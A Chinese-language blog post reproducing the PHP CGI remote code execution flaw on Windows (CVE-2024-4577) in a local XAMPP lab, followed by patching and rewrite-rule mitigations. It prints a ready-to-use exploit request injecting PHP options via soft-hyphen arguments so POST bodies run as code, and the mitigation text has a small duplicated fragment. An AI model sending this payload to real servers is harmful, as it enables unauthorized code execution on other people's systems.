LOADING

加载过慢请开启缓存 浏览器默认开启

2024/7/1

PHP CGI Windows平台远程代码执行漏洞复现

1.漏洞描述:

PHP(Hypertext Preprocessor,超文本预处理器)是一种广泛使用的开源脚本语言,主要用于Web开发,用于生成动态网页内容。PHP的语法借鉴了C、Java、Perl等语言的特点,易于学习,并且可以快速执行。

漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,导致未经身份认证的远程攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,通过参数注入攻击在远程PHP服务器上执行任意代码,从而导致远程代码执行。

由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题,最终导致漏洞利用的算是一些PHP的小技巧

影响范围:

这个漏洞理论上影响PHP的所有版本

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

除此之外的其他PHP版本官方已经不再维护了,包括PHP8.0、PHP7、PHP5在内,但是理论上来说他们都受到这个影响。

2.漏洞复现

环境搭建:https://www.apachefriends.org/zh_cn/index.html

直接下载XAMPP ,启动mysql和apache,默认配置直接命令执行,不需要进行额外配置,直接点击启动就可以

image-20240701143820389

exp:(将host修改为受害主机)

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:122.0) Gecko/20000101 Firefox/122.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Redirect-Status: 1
Content-Length: 22

<?php phpinfo() ?>

注:

  • 这里的请求POST或者GET皆可,没有区别。
  • 正文里面的字段为需要执行的语句,需要以PHP文件的形式

image-20240701143937972

-d allow_url_include=on

控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码

-d auto_prepend_file=php://input

php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入

-d cgi.force_redirect=0

xampp默认没开cgi,在原理层面其实是apache使用scriptalias把php-cgi.exe映射到web目录下面了,这种情况下cgi.force_redirect限制了你通过url直接访问exe,所以最稳定的poc是加上-d cgi.force_redirect=0

原因就是为了验证请求是通过Web服务器的Action指令发起的,而不是用户直接对php-cgi进行的请求,php-cgi设置了“cgi.force_redirect”这一安全特性。该特性默认开启,它确保只有遵循特定重定向流程的请求才会被php-cgi处理,这样可以有效避免直接对php-cgi的潜在不当访问,于是在POC中添加-d cgi.force_redirect=0关闭这个校验规则,就可绕过限制。

3.漏洞修复

将PHP升级到官方最新版本 8.3.8、8.2.20和8.1.29。下载链接:https://www.php.net/downloads.php

缓解方案:

1.不方便更新版本的Windows用户,建议暂时关闭php-cgi的使用。

2.以下重写规则可用于阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。

RewriteEngine On

RewriteCond %{QUERY_STRING} ^%ad [NC]

RewriteRule .? - [F,L]

3.对于使用 XAMPP for Windows 的用户:
如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:

C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ “C:/xampp/php/”

并将其注释掉:

f/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ “C:/xampp/php/”

并将其注释掉:

# ScriptAlias /php-cgi/ “C:/xampp/php/”

参考链接:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现_cve-2024-4577漏洞复现-CSDN博客

CVE-2024-4577 PHP CGI 远程代码执行漏洞分析 - FreeBuf网络安全行业门户